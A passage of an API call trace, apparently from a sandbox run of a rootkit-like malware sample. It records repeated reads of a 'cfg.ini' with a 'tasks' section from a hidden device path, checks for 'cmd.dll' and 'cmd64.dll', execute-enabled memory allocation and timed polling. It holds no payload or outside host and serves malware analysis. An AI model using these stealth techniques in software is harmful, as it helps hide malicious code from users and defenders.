_Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.750] KeEnterCriticalRegion () [0125.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.750] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.750] IdePortDispatch () returned 0x103 [0125.751] KeWaitForMutexObject () returned 0x0 [0125.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.751] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.751] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.751] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.751] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.751] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9130 [0125.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.751] KeLeaveCriticalRegion () [0125.751] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.751] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.751] KeEnterCriticalRegion () [0125.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.751] KeLeaveCriticalRegion () [0125.751] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.751] KeEnterCriticalRegion () [0125.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.751] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.751] IdePortDispatch () returned 0x103 [0125.751] KeWaitForMutexObject () returned 0x0 [0125.752] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.752] KeLeaveCriticalRegion () [0125.752] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.752] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.752] KeEnterCriticalRegion () [0125.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.752] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cde000 [0125.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.752] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.752] IdePortDispatch () returned 0x103 [0125.752] KeWaitForMutexObject () returned 0x0 [0125.752] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.752] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.752] IdePortDispatch () returned 0x103 [0125.752] KeWaitForMutexObject () returned 0x0 [0125.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.752] KeLeaveCriticalRegion () [0125.752] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.753] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.753] KeEnterCriticalRegion () [0125.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.753] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.753] KeLeaveCriticalRegion () [0125.753] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.753] KeEnterCriticalRegion () [0125.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.753] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.753] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.753] KeLeaveCriticalRegion () [0125.753] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.753] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.753] KeEnterCriticalRegion () [0125.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.753] ExFreePoolWithTag (P=0xfffffa8003bf9130, Tag=0x0) [0125.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.753] KeLeaveCriticalRegion () [0125.753] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.753] ReleaseMutex (hMutex=0xf0) returned 1 [0125.753] Sleep (dwMilliseconds=0x927c0) [0125.767] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.767] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.767] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.767] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.768] KeEnterCriticalRegion () [0125.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.768] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.768] IdePortDispatch () returned 0x103 [0125.768] KeWaitForMutexObject () returned 0x0 [0125.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.768] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.768] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.768] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.768] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.768] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9fb40 [0125.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.768] KeLeaveCriticalRegion () [0125.768] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.768] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.768] KeEnterCriticalRegion () [0125.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.768] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.768] KeLeaveCriticalRegion () [0125.768] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.768] KeEnterCriticalRegion () [0125.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.768] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.768] IdePortDispatch () returned 0x103 [0125.768] KeWaitForMutexObject () returned 0x0 [0125.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.769] KeLeaveCriticalRegion () [0125.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.769] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.769] KeEnterCriticalRegion () [0125.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce3000 [0125.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.769] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.769] IdePortDispatch () returned 0x103 [0125.769] KeWaitForMutexObject () returned 0x0 [0125.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.769] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.769] IdePortDispatch () returned 0x103 [0125.769] KeWaitForMutexObject () returned 0x0 [0125.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.769] KeLeaveCriticalRegion () [0125.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.770] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.770] KeEnterCriticalRegion () [0125.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.770] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.770] KeLeaveCriticalRegion () [0125.770] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.770] KeEnterCriticalRegion () [0125.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.770] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.770] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.770] KeLeaveCriticalRegion () [0125.770] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.770] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.770] KeEnterCriticalRegion () [0125.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.770] ExFreePoolWithTag (P=0xfffffa8003b9fb40, Tag=0x0) [0125.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.770] KeLeaveCriticalRegion () [0125.770] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.770] ReleaseMutex (hMutex=0xf0) returned 1 [0125.770] Sleep (dwMilliseconds=0x927c0) [0125.784] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.784] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.784] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.784] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.784] KeEnterCriticalRegion () [0125.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.784] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.784] IdePortDispatch () returned 0x103 [0125.784] KeWaitForMutexObject () returned 0x0 [0125.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.784] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.784] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.784] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.784] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.784] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003619d10 [0125.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.784] KeLeaveCriticalRegion () [0125.784] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.784] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.784] KeEnterCriticalRegion () [0125.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.784] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.784] KeLeaveCriticalRegion () [0125.785] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.785] KeEnterCriticalRegion () [0125.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.785] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.785] IdePortDispatch () returned 0x103 [0125.785] KeWaitForMutexObject () returned 0x0 [0125.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.785] KeLeaveCriticalRegion () [0125.785] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.785] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.785] KeEnterCriticalRegion () [0125.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce8000 [0125.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.785] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.785] IdePortDispatch () returned 0x103 [0125.785] KeWaitForMutexObject () returned 0x0 [0125.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.785] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.785] IdePortDispatch () returned 0x103 [0125.786] KeWaitForMutexObject () returned 0x0 [0125.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.786] KeLeaveCriticalRegion () [0125.786] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.786] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.786] KeEnterCriticalRegion () [0125.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.786] KeLeaveCriticalRegion () [0125.786] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.786] KeEnterCriticalRegion () [0125.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.786] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.786] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003619dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.786] KeLeaveCriticalRegion () [0125.786] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.786] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.786] KeEnterCriticalRegion () [0125.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.786] ExFreePoolWithTag (P=0xfffffa8003619d10, Tag=0x0) [0125.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.787] KeLeaveCriticalRegion () [0125.787] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.787] ReleaseMutex (hMutex=0xf0) returned 1 [0125.787] Sleep (dwMilliseconds=0x927c0) [0125.801] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.801] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.801] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.801] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.801] KeEnterCriticalRegion () [0125.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.801] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.801] IdePortDispatch () returned 0x103 [0125.801] KeWaitForMutexObject () returned 0x0 [0125.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.802] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.802] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.802] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.802] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.802] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf90d0 [0125.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.802] KeLeaveCriticalRegion () [0125.802] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.802] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.802] KeEnterCriticalRegion () [0125.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.802] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.802] KeLeaveCriticalRegion () 